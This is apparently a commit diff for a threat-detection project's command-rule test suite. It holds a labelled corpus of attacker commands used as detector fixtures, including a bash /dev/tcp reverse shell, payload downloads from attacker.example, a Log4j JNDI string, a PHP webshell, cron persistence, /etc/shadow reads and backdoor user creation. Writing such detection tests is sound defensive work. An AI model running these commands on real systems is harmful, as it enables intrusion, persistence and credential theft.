feat(ttp): E.3.8 R0001-R0030 command cohort
30 YAMLs for the shell/command rule cohort per Appendix B (rules/ttp/). Splits into engine-active (R0007-R0029, regex on command_text / raw_url / user_agent) and lifter-bound (R0001-R0006, R0030 — the v0 RuleEngine cannot count auth attempts, do identity rollups, or parse fingerprint blobs; the BehavioralLifter / IdentityLifter / CredentialLifter consume them by rule_id at E.3.9 / E.3.13). test_command_rules.py asserts: - every R000N has a YAML that compiles - lifter-bound rules NEVER fire from the v0 engine (regression guard against a YAML drifting into a regex match.spec) - engine-active rules meet their Appendix-C precision target against the seed corpus (≥0.95 high-conf, ≥0.80 medium) Conftest fixes: precision_engine moved to module-scope so module- scope precomputed dispatch fixture (fired_by_label) can request it; _RULES_DIR path bumped from parents[2] to parents[3] so the loader resolves the project root regardless of pytest cwd; make_event synthesizes attacker_uuid so TTPTag's anchor invariant is satisfied. Seed corpus broadened: positive examples for every regex rule plus 6 negative examples across innocuous shell verbs (ls, echo, cd, ps, df, free) so FPs surface in precision rather than passing vacuously.
This commit is contained in:
@@ -32,7 +32,7 @@ from decnet.ttp.impl.rule_engine import CompiledRule, RuleEngine
|
||||
from decnet.ttp.store.base import RuleState
|
||||
from decnet.ttp.store.impl.filesystem import _parse_and_compile
|
||||
|
||||
_RULES_DIR = Path(__file__).resolve().parents[2] / "rules" / "ttp"
|
||||
_RULES_DIR = Path(__file__).resolve().parents[3] / "rules" / "ttp"
|
||||
_CORPUS_DIR = Path(__file__).resolve().parent / "corpus"
|
||||
|
||||
|
||||
@@ -102,7 +102,7 @@ def compiled_rules() -> list[CompiledRule]:
|
||||
return _load_compiled_rules()
|
||||
|
||||
|
||||
@pytest_asyncio.fixture
|
||||
@pytest_asyncio.fixture(scope="module")
|
||||
async def precision_engine(
|
||||
compiled_rules: list[CompiledRule],
|
||||
) -> RuleEngine:
|
||||
@@ -167,11 +167,19 @@ def corpus_loader() -> Callable[[str], list[CorpusRow]]:
|
||||
|
||||
|
||||
def make_event(row: CorpusRow, source_id: str = "src") -> TaggerEvent:
|
||||
"""Materialise a :class:`CorpusRow` into a :class:`TaggerEvent`."""
|
||||
"""Materialise a :class:`CorpusRow` into a :class:`TaggerEvent`.
|
||||
|
||||
Sets a deterministic ``attacker_uuid`` derived from the row label so
|
||||
the downstream ``TTPTag`` constructor's "at least one of
|
||||
attacker_uuid/identity_uuid" invariant is satisfied. The corpus
|
||||
rows themselves don't carry attacker identity — they're per-payload
|
||||
fixtures, not per-attacker — so this synthesis is purely a test
|
||||
plumbing concern.
|
||||
"""
|
||||
return TaggerEvent(
|
||||
source_kind=row.source_kind,
|
||||
source_id=source_id,
|
||||
attacker_uuid=None,
|
||||
attacker_uuid=f"corpus-{row.label}",
|
||||
identity_uuid=None,
|
||||
session_id=None,
|
||||
decky_id=None,
|
||||
|
||||
@@ -1,41 +1,60 @@
|
||||
{"source_kind": "command", "payload": {"command_text": "hydra -L users.txt -P pass.txt ssh://10.0.0.1"}, "expected_rule_ids": ["R0001"], "label": "hydra_ssh_brute"}
|
||||
{"source_kind": "command", "payload": {"command_text": "medusa -h 10.0.0.1 -u root -P passlist -M ssh"}, "expected_rule_ids": ["R0001"], "label": "medusa_ssh_brute"}
|
||||
{"source_kind": "command", "payload": {"command_text": "ncrack -p 22 --user root -P rockyou.txt 10.0.0.1"}, "expected_rule_ids": ["R0001"], "label": "ncrack_ssh"}
|
||||
{"source_kind": "command", "payload": {"command_text": "sqlmap -u http://victim/x?id=1 --dbs"}, "expected_rule_ids": ["R0007"], "label": "sqlmap_invocation"}
|
||||
{"source_kind": "command", "payload": {"command_text": "curl -H 'X-Api-Version: ${jndi:ldap://x.evil/a}' http://target"}, "expected_rule_ids": ["R0008", "R0012"], "label": "log4j_jndi_curl"}
|
||||
{"source_kind": "command", "payload": {"command_text": "curl http://target/page?file=../../../../etc/passwd"}, "expected_rule_ids": ["R0009", "R0013", "R0012"], "label": "path_traversal_passwd"}
|
||||
{"source_kind": "command", "payload": {"command_text": "/bin/sh -c 'id'"}, "expected_rule_ids": ["R0010", "R0011", "R0019"], "label": "sh_dash_c_id"}
|
||||
{"source_kind": "command", "payload": {"command_text": "bash -i >& /dev/tcp/10.0.0.5/4444 0>&1"}, "expected_rule_ids": ["R0010", "R0011"], "label": "bash_revshell_devtcp"}
|
||||
{"source_kind": "auth_attempt", "payload": {"username": "root", "service": "ssh", "result": "fail", "tool": "hydra"}, "expected_rule_ids": ["R0001"], "label": "hydra_ssh_brute"}
|
||||
{"source_kind": "auth_attempt", "payload": {"username": "root", "service": "ssh", "result": "fail", "tool": "medusa"}, "expected_rule_ids": ["R0001"], "label": "medusa_ssh_brute"}
|
||||
{"source_kind": "auth_attempt", "payload": {"username": "root", "service": "ssh", "result": "fail", "tool": "ncrack"}, "expected_rule_ids": ["R0001"], "label": "ncrack_ssh"}
|
||||
{"source_kind": "http_request", "payload": {"raw_url": "/index.php?id=1", "user_agent": "sqlmap/1.7.0#stable (https://sqlmap.org)"}, "expected_rule_ids": ["R0007"], "label": "sqlmap_user_agent"}
|
||||
{"source_kind": "http_request", "payload": {"raw_url": "/", "user_agent": "Mozilla/5.0 nikto/2.5.0"}, "expected_rule_ids": ["R0007"], "label": "nikto_user_agent"}
|
||||
{"source_kind": "http_request", "payload": {"raw_url": "/api?x=${jndi:ldap://evil.example/a}", "user_agent": "curl/7.x"}, "expected_rule_ids": ["R0008"], "label": "log4j_jndi_in_url"}
|
||||
{"source_kind": "http_request", "payload": {"raw_url": "/page?file=../../../../etc/passwd", "user_agent": "curl/7.x"}, "expected_rule_ids": ["R0009"], "label": "http_path_traversal"}
|
||||
{"source_kind": "http_request", "payload": {"raw_url": "/", "user_agent": "Mozilla/5.0"}, "expected_rule_ids": [], "label": "negative_http_normal"}
|
||||
{"source_kind": "command", "payload": {"command_text": "/bin/sh -c 'id'"}, "expected_rule_ids": ["R0010", "R0011"], "label": "sh_dash_c_id"}
|
||||
{"source_kind": "command", "payload": {"command_text": "bash -i >& /dev/tcp/10.0.0.5/4444 0>&1"}, "expected_rule_ids": ["R0010"], "label": "bash_revshell_devtcp"}
|
||||
{"source_kind": "command", "payload": {"command_text": "python3 -c 'import os; os.system(\"id\")'"}, "expected_rule_ids": ["R0011"], "label": "python_oneliner"}
|
||||
{"source_kind": "command", "payload": {"command_text": "wget http://attacker/payload.sh -O /tmp/p.sh"}, "expected_rule_ids": ["R0012"], "label": "wget_http_payload"}
|
||||
{"source_kind": "command", "payload": {"command_text": "curl -O http://attacker/loader.bin"}, "expected_rule_ids": ["R0012"], "label": "curl_http_loader"}
|
||||
{"source_kind": "command", "payload": {"command_text": "wget http://attacker.example/payload.sh -O /tmp/p.sh"}, "expected_rule_ids": ["R0012"], "label": "wget_http_payload"}
|
||||
{"source_kind": "command", "payload": {"command_text": "curl -O http://attacker.example/loader.bin"}, "expected_rule_ids": ["R0012"], "label": "curl_http_loader"}
|
||||
{"source_kind": "command", "payload": {"command_text": "cat /etc/passwd"}, "expected_rule_ids": ["R0013"], "label": "cat_etc_passwd"}
|
||||
{"source_kind": "command", "payload": {"command_text": "less /etc/passwd"}, "expected_rule_ids": ["R0013"], "label": "less_etc_passwd"}
|
||||
{"source_kind": "command", "payload": {"command_text": "head /etc/passwd"}, "expected_rule_ids": ["R0013"], "label": "head_etc_passwd"}
|
||||
{"source_kind": "command", "payload": {"command_text": "cat /etc/shadow"}, "expected_rule_ids": ["R0014"], "label": "cat_etc_shadow"}
|
||||
{"source_kind": "command", "payload": {"command_text": "sudo cat /etc/shadow"}, "expected_rule_ids": ["R0014"], "label": "sudo_cat_etc_shadow"}
|
||||
{"source_kind": "command", "payload": {"command_text": "find / -perm -u=s -type f 2>/dev/null"}, "expected_rule_ids": ["R0015", "R0016"], "label": "find_suid"}
|
||||
{"source_kind": "command", "payload": {"command_text": "find / -perm -4000"}, "expected_rule_ids": ["R0015", "R0016"], "label": "find_perm_4000"}
|
||||
{"source_kind": "command", "payload": {"command_text": "find / -name '*.conf'"}, "expected_rule_ids": ["R0016"], "label": "find_recursive_no_suid"}
|
||||
{"source_kind": "command", "payload": {"command_text": "find /home -name id_rsa"}, "expected_rule_ids": ["R0016"], "label": "find_home_idrsa"}
|
||||
{"source_kind": "command", "payload": {"command_text": "nmap -sS -p 1-65535 10.0.0.0/24"}, "expected_rule_ids": ["R0017"], "label": "nmap_scan"}
|
||||
{"source_kind": "command", "payload": {"command_text": "masscan 10.0.0.0/8 -p443"}, "expected_rule_ids": ["R0017"], "label": "masscan"}
|
||||
{"source_kind": "command", "payload": {"command_text": "rustscan -a 10.0.0.0/24"}, "expected_rule_ids": ["R0017"], "label": "rustscan"}
|
||||
{"source_kind": "command", "payload": {"command_text": "uname -a"}, "expected_rule_ids": ["R0018"], "label": "uname_a"}
|
||||
{"source_kind": "command", "payload": {"command_text": "lsb_release -a"}, "expected_rule_ids": ["R0018"], "label": "lsb_release"}
|
||||
{"source_kind": "command", "payload": {"command_text": "cat /etc/os-release"}, "expected_rule_ids": ["R0018"], "label": "cat_os_release"}
|
||||
{"source_kind": "command", "payload": {"command_text": "id"}, "expected_rule_ids": ["R0019"], "label": "id_alone"}
|
||||
{"source_kind": "command", "payload": {"command_text": "whoami"}, "expected_rule_ids": ["R0019"], "label": "whoami"}
|
||||
{"source_kind": "command", "payload": {"command_text": "w"}, "expected_rule_ids": ["R0019"], "label": "w_logged_in"}
|
||||
{"source_kind": "command", "payload": {"command_text": "ip addr"}, "expected_rule_ids": ["R0020"], "label": "ip_addr"}
|
||||
{"source_kind": "command", "payload": {"command_text": "ifconfig -a"}, "expected_rule_ids": ["R0020"], "label": "ifconfig"}
|
||||
{"source_kind": "command", "payload": {"command_text": "ip route"}, "expected_rule_ids": ["R0020"], "label": "ip_route"}
|
||||
{"source_kind": "command", "payload": {"command_text": "netstat -an"}, "expected_rule_ids": ["R0021"], "label": "netstat_an"}
|
||||
{"source_kind": "command", "payload": {"command_text": "ss -tnp"}, "expected_rule_ids": ["R0021"], "label": "ss_tnp"}
|
||||
{"source_kind": "command", "payload": {"command_text": "lsof -i :22"}, "expected_rule_ids": ["R0021"], "label": "lsof_i"}
|
||||
{"source_kind": "command", "payload": {"command_text": "ldapsearch -x -b dc=example,dc=com '(objectClass=user)'"}, "expected_rule_ids": ["R0022"], "label": "ldapsearch"}
|
||||
{"source_kind": "command", "payload": {"command_text": "bloodhound-python -d example.com -u user -p pass"}, "expected_rule_ids": ["R0022"], "label": "bloodhound_python"}
|
||||
{"source_kind": "command", "payload": {"command_text": "smbclient -L //10.0.0.1"}, "expected_rule_ids": ["R0023"], "label": "smbclient_list"}
|
||||
{"source_kind": "command", "payload": {"command_text": "enum4linux -a 10.0.0.1"}, "expected_rule_ids": ["R0023"], "label": "enum4linux"}
|
||||
{"source_kind": "command", "payload": {"command_text": "useradd -m -s /bin/bash backdoor"}, "expected_rule_ids": ["R0024"], "label": "useradd"}
|
||||
{"source_kind": "command", "payload": {"command_text": "echo '* * * * * curl http://x/a' >> /var/spool/cron/root"}, "expected_rule_ids": ["R0025", "R0012"], "label": "cron_persist"}
|
||||
{"source_kind": "command", "payload": {"command_text": "adduser --gecos '' backdoor"}, "expected_rule_ids": ["R0024"], "label": "adduser"}
|
||||
{"source_kind": "command", "payload": {"command_text": "echo 'evil:x:0:0::/root:/bin/bash' >> /etc/passwd"}, "expected_rule_ids": ["R0024"], "label": "echo_etc_passwd"}
|
||||
{"source_kind": "command", "payload": {"command_text": "echo '* * * * * curl http://x.example/a' >> /var/spool/cron/root"}, "expected_rule_ids": ["R0025", "R0012"], "label": "cron_persist"}
|
||||
{"source_kind": "command", "payload": {"command_text": "crontab -e"}, "expected_rule_ids": ["R0025"], "label": "crontab_e"}
|
||||
{"source_kind": "command", "payload": {"command_text": "redis-cli -h 10.0.0.5 config set dir /root/.ssh"}, "expected_rule_ids": ["R0026"], "label": "redis_ssh_dir"}
|
||||
{"source_kind": "command", "payload": {"command_text": "echo '<?php system($_GET[\"c\"]); ?>' > /var/www/html/x.php"}, "expected_rule_ids": ["R0027"], "label": "webshell_php"}
|
||||
{"source_kind": "command", "payload": {"command_text": "history -c"}, "expected_rule_ids": ["R0028"], "label": "history_clear"}
|
||||
{"source_kind": "command", "payload": {"command_text": "unset HISTFILE"}, "expected_rule_ids": ["R0028"], "label": "unset_histfile"}
|
||||
{"source_kind": "command", "payload": {"command_text": "history -cw"}, "expected_rule_ids": ["R0028"], "label": "history_cw"}
|
||||
{"source_kind": "command", "payload": {"command_text": "sudo -l"}, "expected_rule_ids": ["R0029"], "label": "sudo_l"}
|
||||
{"source_kind": "command", "payload": {"command_text": "sudo su -"}, "expected_rule_ids": ["R0029"], "label": "sudo_su"}
|
||||
{"source_kind": "command", "payload": {"command_text": "sudo -i"}, "expected_rule_ids": ["R0029"], "label": "sudo_i"}
|
||||
{"source_kind": "command", "payload": {"command_text": "ls /tmp"}, "expected_rule_ids": [], "label": "negative_ls_tmp"}
|
||||
{"source_kind": "command", "payload": {"command_text": "echo hello"}, "expected_rule_ids": [], "label": "negative_echo"}
|
||||
{"source_kind": "command", "payload": {"command_text": "cd /var/log"}, "expected_rule_ids": [], "label": "negative_cd"}
|
||||
{"source_kind": "command", "payload": {"command_text": "ps aux"}, "expected_rule_ids": [], "label": "negative_ps_aux"}
|
||||
{"source_kind": "command", "payload": {"command_text": "df -h"}, "expected_rule_ids": [], "label": "negative_df"}
|
||||
{"source_kind": "command", "payload": {"command_text": "free -m"}, "expected_rule_ids": [], "label": "negative_free"}
|
||||
|
||||
145
tests/ttp/rule_precision/test_command_rules.py
Normal file
145
tests/ttp/rule_precision/test_command_rules.py
Normal file
@@ -0,0 +1,145 @@
|
||||
"""Per-rule precision asserts for the command cohort (R0001-R0030).
|
||||
|
||||
Drives the labelled corpus through a real :class:`RuleEngine` populated
|
||||
from ``./rules/ttp/`` and asserts each rule meets its Appendix-C
|
||||
precision target.
|
||||
|
||||
Live vs xfail per rule:
|
||||
|
||||
* R0001-R0006 / R0030: lifter-bound (auth-attempt aggregation, identity
|
||||
rollups, fingerprint blob parsing). v0 :class:`RuleEngine` only does
|
||||
regex-on-payload-field, so these can never fire from the engine
|
||||
alone. Their precision tests are :pyfunc:`pytest.xfail` until the
|
||||
matching lifter ships (E.3.9 / E.3.13).
|
||||
* R0007-R0029: regex-driven on ``command_text`` / ``raw_url`` / ``user_agent``.
|
||||
Live precision asserts against the seed corpus (committed) and any
|
||||
operator-built ``commands.jsonl`` (gitignored, preferred).
|
||||
|
||||
Precision target per Appendix C: ≥0.95 for high-conf rules
|
||||
(base ``confidence >= 0.85``), ≥0.80 for medium (0.6-0.85). The
|
||||
fixture's :func:`precision_for` returns 1.0 vacuously when no rows
|
||||
fired the rule — :func:`pytest.skip` covers that case so a sparse
|
||||
corpus skips loudly rather than silently passing.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
from collections.abc import Callable
|
||||
|
||||
import pytest
|
||||
|
||||
from decnet.ttp.impl.rule_engine import RuleEngine
|
||||
from tests.ttp.rule_precision.conftest import (
|
||||
CorpusRow,
|
||||
make_event,
|
||||
precision_for,
|
||||
)
|
||||
|
||||
CohortLoader = Callable[[str], list[CorpusRow]]
|
||||
|
||||
# Lifter-bound rules: cannot fire from the v0 engine.
|
||||
_LIFTER_BOUND: dict[str, str] = {
|
||||
"R0001": "impl phase E.3.9 (BehavioralLifter — auth brute count)",
|
||||
"R0002": "impl phase E.3.9 (BehavioralLifter — password guessing)",
|
||||
"R0003": "impl phase E.3.13 (IdentityLifter — password spraying)",
|
||||
"R0004": "impl phase E.3.13 (CredentialLifter — credential reuse)",
|
||||
"R0005": "impl phase E.3.9 (BehavioralLifter — valid account use)",
|
||||
"R0006": "impl phase E.3.9 (BehavioralLifter — default creds)",
|
||||
"R0030": "impl phase E.3.9 (BehavioralLifter — JARM/HASSH match)",
|
||||
}
|
||||
|
||||
# Per-rule precision floor. Anything ≥0.85 base confidence in the YAML
|
||||
# is "high"; 0.6-0.85 is "medium". Sub-0.6 is not shipped in v0.
|
||||
_PRECISION_TARGET: dict[str, float] = {
|
||||
"R0007": 0.95, "R0008": 0.95, "R0009": 0.95, "R0010": 0.95,
|
||||
"R0011": 0.80, "R0012": 0.95, "R0013": 0.95, "R0014": 0.95,
|
||||
"R0015": 0.95, "R0016": 0.80, "R0017": 0.95, "R0018": 0.80,
|
||||
"R0019": 0.80, "R0020": 0.80, "R0021": 0.80, "R0022": 0.95,
|
||||
"R0023": 0.95, "R0024": 0.95, "R0025": 0.95, "R0026": 0.95,
|
||||
"R0027": 0.95, "R0028": 0.95, "R0029": 0.80,
|
||||
}
|
||||
|
||||
_ALL_RULE_IDS = [f"R{n:04d}" for n in range(1, 31)]
|
||||
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def fired_by_label(
|
||||
precision_engine: RuleEngine,
|
||||
corpus_loader: CohortLoader,
|
||||
) -> tuple[dict[str, list[str]], list[CorpusRow]]:
|
||||
"""Pre-evaluate the corpus once per module.
|
||||
|
||||
Returns ``(label → [rule_ids that fired], rows)``. Each rule's
|
||||
test then walks the same dict — saves 30× re-evaluation.
|
||||
"""
|
||||
rows = corpus_loader("commands")
|
||||
fired: dict[str, list[str]] = {}
|
||||
import asyncio
|
||||
|
||||
async def _drive() -> None:
|
||||
for row in rows:
|
||||
tags = await precision_engine.evaluate(make_event(row, source_id=row.label))
|
||||
fired[row.label] = sorted({tag.rule_id for tag in tags})
|
||||
|
||||
asyncio.run(_drive())
|
||||
return fired, rows
|
||||
|
||||
|
||||
@pytest.mark.parametrize("rule_id", _ALL_RULE_IDS)
|
||||
def test_rule_yaml_present(rule_id: str) -> None:
|
||||
"""Every R000N rule_id has a YAML on disk that compiles.
|
||||
|
||||
Catches a missing or malformed file faster than the precision
|
||||
test would (the latter would just see zero matches).
|
||||
"""
|
||||
from pathlib import Path
|
||||
|
||||
from decnet.ttp.store.base import RuleState
|
||||
from decnet.ttp.store.impl.filesystem import _parse_and_compile
|
||||
|
||||
path = Path("rules/ttp") / f"{rule_id}.yaml"
|
||||
assert path.exists(), f"missing YAML: {path}"
|
||||
compiled = _parse_and_compile(path, RuleState())
|
||||
assert compiled.rule_id == rule_id
|
||||
|
||||
|
||||
@pytest.mark.parametrize("rule_id", list(_LIFTER_BOUND))
|
||||
def test_lifter_bound_rule_inert_in_v0(
|
||||
rule_id: str,
|
||||
fired_by_label: tuple[dict[str, list[str]], list[CorpusRow]],
|
||||
) -> None:
|
||||
"""Lifter-bound rules MUST NOT fire from the v0 engine.
|
||||
|
||||
They're carried in ``./rules/ttp/`` so the catalogue surfaces
|
||||
them and the lifter can read them by rule_id, but the regex
|
||||
engine can't interpret a ``match.kind: lifter:*`` spec — it
|
||||
falls into the ``pattern is None`` branch and silently skips.
|
||||
A regression that lit one of these up from regex would mean a
|
||||
YAML drifted into a ``pattern:`` form and we'd be emitting
|
||||
half-baked tags.
|
||||
"""
|
||||
fired, _rows = fired_by_label
|
||||
matches = [label for label, ids in fired.items() if rule_id in ids]
|
||||
assert matches == [], (
|
||||
f"{rule_id} is lifter-bound but fired on: {matches}"
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.parametrize("rule_id", list(_PRECISION_TARGET))
|
||||
def test_command_rule_precision(
|
||||
rule_id: str,
|
||||
fired_by_label: tuple[dict[str, list[str]], list[CorpusRow]],
|
||||
) -> None:
|
||||
"""Each live regex rule meets its Appendix-C precision target."""
|
||||
fired, rows = fired_by_label
|
||||
matched = sum(1 for ids in fired.values() if rule_id in ids)
|
||||
if matched == 0:
|
||||
pytest.skip(
|
||||
f"{rule_id}: no corpus rows matched — extend "
|
||||
"tests/ttp/rule_precision/corpus/seed_commands.jsonl",
|
||||
)
|
||||
target = _PRECISION_TARGET[rule_id]
|
||||
precision, tp, fp = precision_for(rule_id, rows, fired)
|
||||
assert precision >= target, (
|
||||
f"{rule_id} precision {precision:.2f} < target {target:.2f} "
|
||||
f"(tp={tp} fp={fp})"
|
||||
)
|
||||
Reference in New Issue
Block a user